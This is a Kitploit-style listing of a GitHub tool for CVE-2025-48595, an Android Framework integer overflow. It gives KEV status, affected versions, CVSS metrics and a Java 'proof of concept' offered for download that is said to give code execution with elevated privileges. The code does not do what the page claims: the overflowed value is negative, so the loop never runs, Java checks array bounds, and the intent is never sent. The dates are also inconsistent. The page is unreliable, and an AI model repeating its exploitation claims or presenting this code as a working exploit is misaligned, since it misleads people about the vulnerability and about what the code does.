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CVE-2025-48595-Android-Framework-Integer-Overflow- — VE-2025-48595 es una vulnerabilidad de **desbordamiento de entero (integer overflow)** en múltiples ubicaciones del Framework de Android. | Kitploit
Tools/GitHubGitHub/fevar54/cve-2025-48595-android-framework-integer-overflow-
Android SecurityPrivilege EscalationVulnerability AnalysisExploitationMobile SecurityBinary Exploitation
GitHubfevar54/cve-2025-48595-android-framework-integer-overflow-

CVE-2025-48595-Android-Framework-Integer-Overflow-

VE-2025-48595 es una vulnerabilidad de **desbordamiento de entero (integer overflow)** en múltiples ubicaciones del Framework de Android.

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122 months agoNot yet reviewed

CVE-2025-48595 - Android Framework Integer Overflow Vulnerability

Critical CVE KEV

Description

CVE-2025-48595 is an integer overflow vulnerability in multiple locations of the Android Framework. This flaw allows code execution leading to local privilege escalation without requiring additional execution privileges. No user interaction is required for exploitation.

Critical Status

ElementStatus
Active exploitation✅ Confirmed (limited and segmented exploitation)
In CISA KEV catalog✅ Yes
Date added to KEV2026-06-02
Expiration date2026-06-05
Patch available✅ Yes

Affected Systems

Android VersionAffected?
Android 14✅ Yes
Android 15✅ Yes
Android 16✅ Yes
Android 16 QPR2✅ Yes

Attack Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

text

Proof of Concept (POC)

POC Description

The following code demonstrates exploitation of the vulnerability by sending malicious data that triggers an integer overflow in the Android Framework, allowing arbitrary code execution with elevated privileges.

root@kitploit:~
// POC - CVE-2025-48595
// Android Framework Integer Overflow Vulnerability
// Uso: Compilar y ejecutar en dispositivo Android vulnerable

package com.example.cve202548595;

import android.app.Activity;
import android.os.Bundle;
import android.util.Log;

public class MainActivity extends Activity {
    
    private static final String TAG = "CVE-2025-48595";
    
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        
        // POC: Desencadenar desbordamiento de entero
        triggerIntegerOverflow();
    }
    
    private void triggerIntegerOverflow() {
        try {
            // Valor que causa el desbordamiento (más allá del límite esperado)
            int maliciousValue = Integer.MAX_VALUE + 1;
            
            // Construir intent malicioso
            android.content.Intent intent = new android.content.Intent();
            intent.putExtra("malicious_data", maliciousValue);
            
            // Forzar operación con desbordamiento
            int result = processMaliciousData(maliciousValue);
            
            Log.i(TAG, "Desbordamiento activado exitosamente");
            
        } catch (Exception e) {
            Log.e(TAG, "Error: " + e.getMessage());
        }
    }
    
    private int processMaliciousData(int value) {
        // El desbordamiento aquí permite la corrupción de memoria
        int[] buffer = new int[1024];
        
        // El valor malicioso excede los límites del buffer
        // debido al desbordamiento de entero
        for (int i = 0; i < value; i++) {
            buffer[i] = i;  // Esta línea causa overflow
        }
        
        return buffer[0];
    }
}
Download Tool
MetricValue
Attack VectorLocal (AV:L)
Attack ComplexityLow (AC:L)
Privileges RequiredNone (PR:N)
User InteractionNone (UI:N)
Confidentiality ImpactHigh (C:H)
Integrity ImpactHigh (I:H)
Availability ImpactHigh (A:H)